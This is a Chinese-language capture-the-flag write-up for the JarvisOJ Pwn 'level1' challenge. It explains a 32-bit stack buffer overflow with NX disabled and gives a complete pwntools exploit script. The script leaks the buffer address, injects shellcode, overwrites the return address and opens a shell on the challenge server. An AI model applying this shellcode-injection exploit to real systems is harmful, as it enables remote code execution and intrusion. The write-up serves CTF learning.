题目网址https://www.jarvisoj.com/challenges
Pwn区level1题
首先把文件放入gdb中用checksec分析
分析发现,没有开启NX保护,说明文件内没有包含system(‘/bin/sh’),说明本题需要自己去构造shellcode。NX保护未开启表示着你输入的东西可执行,所以你需要构造shellcode填充数据,然后利用返回地址再次返回这个变量,就可以执行这个变量里面的内容。
PWN-shellcode获取与编写可以参考一下这个博客
该文件为32位的,这个可以自己丢进IDA试一下,不同位数的文件执行只能在相应位数的IDA中,丢入IDA,找到main函数,然后F5生成伪代码
观察后发现这个页面没有可利用的东西,然后进入function()函数
这时候发现了问题,read函数能允许你输入0x100(32位)数据,双击buf后观察发现buf距离返回地址只有0x88
所以存在了栈溢出
0x88+0x4就到达了返回地址。现在我们知道了payload的大小了
payload=shellcode+padding+bp+ret。其中shellcode+padding的大小为0x88
bp为0x4,返回地址就是buf的地址。现在需要找buf的地址了
再次回来伪代码这里
观察可发现printf函数获得了一次buf的地址,我们可以在这里接收buf的地址下面就附上完整的exp脚本
1 from pwn import *#pwn工具包
2
3 context.log_level = 'DEBUG'#日志,方便观察
4 p = remote('pwn2.jarvisoj.com','9877')#远程连接
5 #p = process(本机文件地址,如'./level1')
6 p.recvuntil('this:')#接收到这个暂停,后面就是%p,是buf的地址
7 buf_addr = int(p.recvuntil('?',drop=True),16)这里接收buf的地址
8 payload = asm(shellcraft.sh()).ljust(0x88,'\x90')#这里插入shellcode,
#这是pwn工具包自带的shellcode制作函数shellcraft.sh(),后面的ljust自行百度
#用asm转换成汇编代码
9 payload += 'a'*4 + p32(buf_addr)#payload=shellcode+padding+bp+ret
10 print p32(buf_addr)#p32是因为这是32位的文件,把buf_addr的内容转换成32位的包
11 print p.send(payload)
12 #两次的print是为了方便观察
13 p.interactive()#与终端互动
#成功后即可使用ls查看文件,发现有一个flag文件,然后使用cat flag打开文件得到flag
感谢借鉴,欢迎各位评论纠正或者问问题。